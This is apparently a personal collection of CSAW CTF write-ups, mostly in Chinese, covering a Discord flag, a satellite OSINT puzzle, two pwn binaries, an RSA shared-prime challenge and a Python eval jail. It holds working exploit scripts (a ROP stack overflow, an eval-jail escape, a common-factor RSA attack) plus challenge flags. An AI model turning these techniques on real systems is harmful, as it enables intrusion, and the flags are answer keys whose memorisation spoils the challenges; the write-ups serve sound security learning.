# Discord ## Information - Category: Misc - Points: 10 ## Description > Join the Discord for our super secret flag! ## Write-up 本来以为是和机器人聊天,发现这机器人还挺难斥候,怀疑是真人。但凡我表现出任何索要 flag 的姿态他就不高兴了……最后发现 flag 在 #rules channel,严重怀疑是不是自己眼 睛瞎了,还是当时脑子没完全开机,居然跑去和机器人聊天,然后这机器人也是牛逼,我说 我要睡觉了,人家第二天晚上还主动来找我,问我醒了没,继续聊啊…… ## Flag :spoiler[`csawctf{w3Ic0m3_70_th3_22nd_y34r_0f_CSAW}`] # Star Scream (Old) ## Information - Category: OSINT - Points: 50 ## Description > In 2017, a daring trio of tinkerers sent five midnight-black specks skyward. N o bigger than loaves of bread, yet destined to circle Earth 400km above the clou ds. Two of the tinkerers dreamt of showing their country's flags to the stars, b ut six weeks before my planned farewell, I tumbled back to the blue. Who am I? > > When you've sleuthed out the answer, submit: csawctf{Satelite-name_satcatnumbe r} ## Write-up 13 号的题,没想到出现了一些戏剧性的事情,比赛延期 24h 并修改了题目……懒得删了,记 录一下这个旧 flag…… 14 号的新题没做出来……/抓狂 ### References - [Birds-1](https://en.wikipedia.org/wiki/Birds-1) - [GhanaSat-1](https://en.wikipedia.org/wiki/GhanaSat-1) ## Flag :spoiler[`csawctf{GhanaSat-1_42821}`] # Mooneys Bookstore ## Information - Category: Pwn - Points: 500 ## Description > You think it's just input. Just another binary. > But this stack? It's mine. > Overflow it. Follow the trail. I left a key behind. > If you're paying attention, you'll find it. > Slip once, and the story ends before it begins. ## Write-up 简单题……我好菜啊 :sob: ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ROP, args, context, flat, p64, process, raw_input, remote, ) FILE = "./overflow_me" HOST, PORT = "chals.ctf.csaw.io", 21006 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary rop = ROP(elf) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() secret_addr = elf.bss() + 0x28 target.success(f"secret addr: {hex(secret_addr)}") target.sendafter(b"Tell me its address", p64(secret_addr)) leak = target.recvlines(2)[1] secret = int(leak, 16).to_bytes(0x8, "little") target.success(f"leaked_addr: 0x{secret.hex()}") target.sendafter(b"the story unlocks", secret) target.recvuntil(b"for you: ") val = int(target.recvline().strip(), 16).to_bytes(0x8, "little") target.success(f"val: 0x{val.hex()}") # raw_input("DEBUG") payload = flat( b"A" * 64, val, b"A" * 0x10, rop.ret.address, elf.sym["get_flag"], ) target.sendlineafter(b"into this story.", payload) target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`csawctf{U_w3r3_n3v3r_m3@nt_2_s33_th3_st@ck~but_I_l3t_U_1n_b3c@us3_1_l0 v3_U~d8K#xY_q1W9eVz2NpL7}`] # Power Up ## Information - Category: Pwn - Points: 500 ## Description > Your starship have been wandering for weeks in this derelict orbit, whose core is out of energy. > You are the last engineer who must ignite the core with energy using proper mo dules. > Power up the starship. Or stay stranded forever. ## Write-up 复现一下,比赛的时候成功解决了里面的伪随机数问题,但是由于没怎么学过堆方面的知识 ,导致我认为这是 unsorted bin attack,然后现场学习了一番,发现始终会遇到问题,最 后也没能做出来就放弃了…… 但是很意外,赛后看见有人通过逆向分析就给出了非预期的最简单解法……草,最近很多题目 都向我指出:我要是不急着想怎么利用,而是多思考思考伪代码和汇编的话,说不定会有奇 迹…… Anyway,这道题官方解法是 largebin attack,草,我当时完全跑偏了。问题不大,先复现 一下逆向分析的解法,然后等以后学完 largebin 了再回头用预期解做这道题吧…… 逐个功能进去查看,发现 `launch_starship` 会直接打开并输出 flag 的内容: ```c unsigned __int64 launch_starship() { size_t n; // rax int fd; // [rsp+Ch] [rbp-94h] char s[136]; // [rsp+10h] [rbp-90h] BYREF unsigned __int64 v4; // [rsp+98h] [rbp-8h] v4 = __readfsqword(0x28u); memset(s, 0, 0x80u); fd = open("flag.txt", 0); if ( fd == -1 ) { fwrite("Error: open failedn", 1u, 0x13u, stderr); exit(1); } read(fd, s, 0x80u); close(fd); *(_WORD *)&s[strlen(s)] = 10; n = strlen(s); write(1, s, n); return v4 - __readfsqword(0x28u); } ``` 下面是 main 函数: ```c ins={37-38, 51-56} int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int seed; // eax int v4; // eax int n5; // [rsp+Ch] [rbp-14h] BYREF unsigned int v7; // [rsp+10h] [rbp-10h] int char; // [rsp+14h] [rbp-Ch] unsigned __int64 v9; // [rsp+18h] [rbp-8h] v9 = __readfsqword(0x28u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); puts("Your starship have been wandering for weeks in this derelict orbit, whos e core is out of energy."); puts("You are the last engineer who must ignite the core with energy using pro per modules."); puts("Power up the starship. Or stay stranded forever."); seed = time(0); srand(seed); while ( 1 ) { while ( 1 ) { putchar(10); puts("[1] Create a module"); puts("[2] Delete a module"); puts("[3] Edit a module"); puts("[4] Power up"); puts("[5] Stay stranded"); printf(">> "); if ( (unsigned int)__isoc99_scanf("%d", &n5) == 1 && n5 > 0 && n5 <= 5 ) break; puts("Invalid choice!"); do char = getchar(); while ( char != 10 && char != -1 ); } v4 = rand(); v7 = (unsigned __int8)(((unsigned int)(v4 >> 31) >> 24) + v4) - ((unsigned i nt)(v4 >> 31) >> 24); switch ( n5 ) { case 1: create_module(); break; case 2: delete_module(); break; case 3: edit_module(); break; case 4: if ( (unsigned __int8)(16 * BYTE1(energy)) | (unsigned __int64)(((energy >> 4) & 0xF) == v7) ) { puts("The core is full of energy to power up the starship!"); launch_starship(); exit(0); } puts("The core is still dead as a rock without energy!"); break; case 5: puts("You and your starship will stay stranded in deep space forever!"); exit(1); default: continue; } } } ``` 这里直接手撕……注意到 `v4` 是通过 `rand` 生成的伪随机数,这个函数返回值范围是 $[ 0,RAND_MAX]$ 。 而 `v7` 这个表达式,`(unsigned __int8)(((unsigned int)(v4 >> 31) >> 24) + v4) - ((unsigned int)(v4 >> 31) >> 24)`,我们也无需深究它到底是什么意思,因为并不复杂 ,直接消项嘛~发现有两部分相同的是 `(unsigned int)(v4 >> 31) >> 24)`,而减号左边 比右边只是多加了一个 `v4` 罢了。那如果我们得到的 `v4` 正好为 0 的话,整个 `v7` 表达式的结果也会是 0,都用不着算的,真瞪眼法秒了…… 现在再看 4 号功能的检测要求:`(unsigned __int8)(16 * BYTE1(energy)) | (unsigned __int64)(((energy >> 4) & 0xF) == v7)`,因为我们要是能 bypass 的话就能直接拿到 f lag,那就想想有没有可能直接 bypass,这样我们就不用思考如何利用复杂的堆攻击了。 因为 `energy` 是在 bss 上的未初始化全局变量,默认为 0,所以 `(unsigned __int8)(1 6 * BYTE1(energy))` 的值可以直接确定为 0。由于这里使用的是 `|` 逻辑与运算,相当 于一个并集操作,所以如果我们想 bypass 这个检测,那唯一的机会就在 rhs 能不能是非 0 值了。 思考 rhs,`(unsigned __int64)(((energy >> 4) & 0xF) == v7`,它将 energy 值右移 4 bits,然后保留最低 4 bits,判断它与 `v7` 是否相等。相等就返回 1,否则返回 0 。 由于 energy 不论如何操作都是 0,这是肯定的,那只要 `v7` 也为 0,`0 == 0`,rhs 就 返回 1,`0 | 1` 就等于 1,成功 bypass 。 而这,也只需要我们不断输入 4 选项罢了……至于能不能命中,只是个概率问题。 这里解法是 `yes 4 | ./vuln`,说实话当时看到这个答案还是有点惊讶的,后来想想,确 实,自己的进步空间还是太大了…… ## Exploit ```bash yes 4 | ./vuln ``` ## Flag :spoiler[`csawctf{tyjroj_71m3_7o_g0_h0m3_zoqSy9_5w337_h0m3_nywcyp}`] # Obligatory RSA ## Information - Category: Crypto - Points: 500 ## Description > Crypto just wouldn't be crypto without one! ## Write-up RSA 简单啊,~直接拷打 AI xD~ ## Exploit ```python #!/usr/bin/env python3 import math from Crypto.Util.number import inverse, long_to_bytes e = 65537 n1 = 129092526753383933030272290277107300767707654330551632967994396398045326531 32030396318249748818247420246112069216273488043826141006654984563999202403741672 02284210762826329045985197932430672203420371448642370207578182631283011382060811 87472003821789897063195512919097350247829148288118913456964033001399074373 n2 = 108355113470836594630192960651980673780103497896732213011958303033575870030 50552816917472953049040591063429141534636068829045297652731690946964690828973202 37157374393125720126481658195332346048506083902339381740818671468466391106859281 36323983961395098632140681799175543046722931901766226759894951292033805879 d1 = 888434959898698710015597548829180767798584044407803918185676396020731736232 87821751315349650577023725245222074965050035045516207303078461168168819365025746 97358924513157014394471820304645739127041845908776426663089056607903982173516880 5805866019315142070438225092171304343352469029480503113942986147848666077 d2 = 945651442759297640172418658124356686442189185379415677112256444744184581155 44003036362558987818610553975855551983688286593672386482543188020042082319191545 66055132429373892021402804534424967051299913754899449657712844616563288577574479 5722253354007167294035878656056258332703809173397147948143695113558988035 def solve(): print("--- Starting Common Factor Attack ---") p = math.gcd(n1, n2) if p > 1: print("[+] Success! A common factor was found.") print("Shared Prime (p): {p}n") q1 = n1 // p q2 = n2 // p print("--- Factoring Results ---") print("q1: {q1}") print("q2: {q2}") print("[+] Verification successful: p * q1 == n1 and p * q2 == n2n") # Calculate Euler's totient function phi1 = (p - 1) * (q1 - 1) phi2 = (p - 1) * (q2 - 1) # Calculate the correct private keys d_correct_1 = inverse(e, phi1) d_correct_2 = inverse(e, phi2) print("--- Calculated Correct Private Keys ---") print(f"d_correct_1: {d_correct_1}") print(f"d_correct_2: {d_correct_2}n") print("--- Decrypting given 'd' values as ciphertext ---") try: plaintext_1 = pow(d1, d_correct_1, n1) flag_1 = long_to_bytes(plaintext_1) print(f"[+] Decrypted plaintext from d1: {flag_1}") except Exception as ex: print(f"[-] Decryption failed for d1: {ex}") try: plaintext_2 = pow(d2, d_correct_2, n2) flag_2 = long_to_bytes(plaintext_2) print(f"[+] Decrypted plaintext from d2: {flag_2}") except Exception as ex: print(f"[-] Decryption failed for d2: {ex}") else: print("[-] Attack failed. n1 and n2 do not share a common factor.") solve() ``` ## Flag :spoiler[`csawctf{wH04m1_70d3Ny_7r4D1710n_4820391578649021735}`] # Galaxy ## Information - Category: Misc - Points: 500 ## Description > Reach for the stars! ## Write-up 调教 AI 出的……工具就应该拿来用不是吗 LOL ## Exploit ```python #!/usr/bin/env python3 from pwn import context, process, remote, args import sys FILE = "./main.py" HOST, PORT = "chals.ctf.csaw.io", 21009 context(log_level="debug") alphabet = "abcdefghijklmnopqrstuvwxyz'" def launch(): global target if args.L: target = process(["python3", FILE]) else: target = remote(HOST, PORT) def main(): launch() def send_recv_str(payload): target.recvuntil(b"> ", timeout=1) target.sendline(payload.encode()) try: line = target.recvline() if not line: return "" return line.decode(errors="ignore").strip() except Exception: return "" target.recvuntil(b"> ") apost_cipher = None for c in alphabet: # if ciphertext c -> "'", then c + "[" + c becomes "'['" after unwarp, e val("'['") -> prints [ resp = send_recv_str(c + "[" + c) if resp and "[" in resp and resp != "no galaxy": apost_cipher = c target.info( f"Found apostrophe ciphertext: {apost_cipher!r} (response={resp! r})" ) break if not apost_cipher: target.failure("Could not find apostrophe ciphertext. Abort.") target.close() sys.exit(1) # build cipher -> plaintext mapping by probing apost_cipher + candidate + ap ost_cipher cipher_to_plain = {} for c in alphabet: resp = send_recv_str(apost_cipher + c + apost_cipher) # on success resp is printed plaintext character (single char) if resp and resp != "no galaxy": cipher_to_plain[c] = resp[0] target.debug(f"cipher {c!r} -> plain {cipher_to_plain[c]!r}") else: cipher_to_plain[c] = None # the candidate that maps to "'" will have produced no valid eval (None). # fill it explicitly using apost_cipher we discovered. cipher_to_plain[apost_cipher] = "'" target.info(f'Explicitly set cipher {apost_cipher!r} -> plain "'"') # invert mapping to get plaintext -> ciphertext plain_to_cipher = {} for c, pch in cipher_to_plain.items(): if pch is not None: # if multiple c map to same pch (shouldn't), last one wins — but map ping is bijection here plain_to_cipher[pch] = c # sanity check missing = [ch for ch in alphabet if ch not in plain_to_cipher] if missing: target.warning(f"Missing plaintext->cipher mappings for: {missing}") else: target.info("Recovered full plaintext->cipher mapping for a-z and apostr ophe.") # helper to encrypt plaintext expression using mapping def encrypt_plaintext(expr): out = [] for ch in expr: if ch in plain_to_cipher: out.append(plain_to_cipher[ch]) else: out.append(ch) return "".join(out) # negative index expression using allowed chars only def neg_expr(n): """ Build an expression that evaluates to -n using only allowed characters. Use ~('a'<'b') == -2 and ~('a'<'a') == -1, combine with +. """ q = n // 2 r = n % 2 parts = ["~('a'<'b')" for _ in range(q)] if r: parts.append("~('a'<'a')") return "+".join(parts) # ensure we can encrypt 'spiral' (all letters present) for ch in "spiral": if ch not in plain_to_cipher: target.failure(f"Missing mapping for letter {ch!r}. Aborting.") target.close() sys.exit(1) enc_spiral = encrypt_plaintext("spiral") target.info(f"Encrypted 'spiral' -> {enc_spiral!r}") # dump characters one-by-one using negative indices flag_chars = [] MAX_CHARS = 80 for i in range(1, MAX_CHARS + 1): idx_plain = neg_expr(i) expr_plain = f"spiral[{idx_plain}]" expr_cipher = encrypt_plaintext(expr_plain) resp = send_recv_str(expr_cipher) if not resp or resp == "no galaxy": target.info(f"Index -{i} out-of-range or eval error (resp={resp!r}), stop.") break ch = resp[0] target.info(f"got index -{i}: {repr(ch)}") flag_chars.append(ch) flag = "".join(reversed(flag_chars)) target.success(f"Recovered flag (partial/full): {flag}") target.close() if __name__ == "__main__": main() ``` ## Flag :spoiler[`csawctf{g@l@xy_0bserv3r$}`]









